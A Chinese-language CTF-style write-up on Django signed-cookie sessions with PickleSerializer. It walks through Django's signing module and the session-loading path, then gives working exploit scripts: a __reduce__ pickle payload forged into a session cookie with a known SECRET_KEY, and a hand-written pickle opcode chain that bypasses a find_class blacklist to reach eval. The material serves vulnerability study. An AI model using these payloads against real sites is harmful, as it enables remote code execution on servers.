由Django-Session配置引发的反序列化安全问题

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项
SESSION_ENGINE：
在Django中，SESSION_ENGINE 是一个设置项，用于指定用于存储和处理会话（session）数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据，例如：
数据库后端 (django.contrib.sessions.backends.db)：会话数据存储在数据库表中。这是Django的默认会话引擎。
缓存后端 (django.contrib.sessions.backends.cache)：会话数据存储在缓存中，例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
文件系统后端 (django.contrib.sessions.backends.file)：会话数据存储在服务器的文件系统中。这种方式适用于小型应用，不需要高级别的安全性和性能。
签名Cookie后端 (django.contrib.sessions.backends.signed_cookies)：会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据，可以提供一定程度的安全性。
缓存数据库后端 (django.contrib.sessions.backends.cached_db)：会话数据存储在缓存中，并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER：
SESSION_SERIALIZER 是Django设置中的一个选项，用于指定Django如何对会话（session）数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制，例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER，您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式，包括以下常用的选项：
'django.contrib.sessions.serializers.JSONSerializer'：使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式，具有良好的可读性和跨平台兼容性。
'django.contrib.sessions.serializers.PickleSerializer'：使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名，然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块：（Django==2.2.5）

主要看看函数参数即可

key：验签中的密钥
serializer：指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    """
    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead.

    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)        # 使用选定的类进行序列化

    # Flag for if it's been compressed or not
    is_compressed = False
    
    # 数据压缩处理
    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()            # base64编码 decode转化成字符串
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)    # 返回一个签名值


# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raise BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    """
    # TimestampSigner.unsign() returns str but base64 and zlib compression
    # operate on bytes.
    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
    decompress = base64d[:1] == b'.'
    if decompress:
        # It's compressed; uncompress it first
        base64d = base64d[1:]
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

看看两个签名的类：

在Signer类中中：

class Signer:

    def __init__(self, key=None, sep=':', salt=None):
        # Use of native strings in all versions of Python
        self.key = key or settings.SECRET_KEY    # key默认为settings中的配置项            
        self.sep = sep
        if _SEP_UNSAFE.match(self.sep):
            raise ValueError(
                'Unsafe Signer separator: %r (cannot be empty or consist of '
                'only A-z0-9-_=)' % sep,
            )
        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)

    def signature(self, value):
        # 利用salt、value、key做一次签名
        return base64_hmac(self.salt + 'signer', value, self.key)

    def sign(self, value):
        return '%s%s%s' % (value, self.sep, self.signature(value))

    def unsign(self, signed_value):
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig, self.signature(value)):
            return value
        raise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):

    def timestamp(self):
        return baseconv.base62.encode(int(time.time()))

    def sign(self, value):
        value = '%s%s%s' % (value, self.sep, self.timestamp())
        return super().sign(value)

    def unsign(self, value, max_age=None):
        """
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        """
        result = super().unsign(value)
        value, timestamp = result.rsplit(self.sep, 1)
        timestamp = baseconv.base62.decode(timestamp)
        if max_age is not None:
            if isinstance(max_age, datetime.timedelta):
                max_age = max_age.total_seconds()
            # Check timestamp is not older than max_age
            age = time.time() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age))
        return value

时间戳主要是为了判断session是否过期，因为设置了一个max_age字段，做了差值进行比较

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境（Django==2.2.5）

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老惯例，先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类，协助处理了HTTP请求

AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

随后调用Django auth模块下的get_user函数和_get_user_session_key函数

随后进行session的字典读取。由于加载session的过程为懒加载过程（lazy load），所以在读取SESSION_KEY的时候会进行_get_session函数运行，从而触发session的反序列化

loads函数中的操作

首先先进行session是否过期的检验，随后base64解码和zlib数据解压缩，提取出python字节码

最后扔入pickle进行字节码解析

漏洞利用

首先利用条件如下：

以cookie方式存储session，实现了交互。

以Pickle为反序列化类，触发__reduce__函数的执行，实现RCE

EXP如下：

import os
import django.core.signing
import requests


# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    protocol = pickle.HIGHEST_PROTOCOL

    def dumps(self, obj):
        return pickle.dumps(obj, self.protocol)

    def loads(self, data):
        return pickle.loads(data)


SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

class exp():
    def __reduce__(self):
        # 返回一个callable 及其参数的元组
        return os.system, (('calc.exe'),)

_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)

resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

Code-Breaking-Django调试

这道题是P神文章中的题目，题目源码在这：https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class：
简单来说，这是python pickle建议使用的安全策略，这个函数在pickle字节码调用c（即import）时会进行校验，校验函数由自己定义

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            # 校验data是否为字符串
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)                     # 读取data
            return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

第一是要手撕python pickle opcode绕过find_class，这个过程使用到了getattr函数，这个函数有如下用法

class Person:
     def __init__(self, name):
         self.name = name

# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)

# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")


# 可以设置default值
age = getattr(person, "age", 30)
print(age)

builtins.getattr(builtins, "eval")("print(1+1)")

那么同理，也可以通过getattr调用eval

加载上下文：由于后端在实现时，import了一些包

（这部分包的上下文可以使用globals()函数获得）

所以可以直接导入builtins中的getattr，最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')        # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')        
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()                
__builtins__ = dict_get(builtins, '__builtins__')            # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

查看Django.core.signing模块，复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64

PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'

SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b"=")

base64d = b64_encode(PayloadToBeEncoded).decode()

def exp(key, payload):
    global salt
    # Flag for if it's been compressed or not.
    is_compressed = False
    compress = False
    if compress:
        # Avoid zlib dependency unless compress is being used.
        compressed = zlib.compress(payload)
        if len(compressed) < (len(payload) - 1):
            payload = compressed
            is_compressed = True
    base64d = b64_encode(payload).decode()
    if is_compressed:
        base64d = "." + base64d
    session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
    print(session)

然后传session即可

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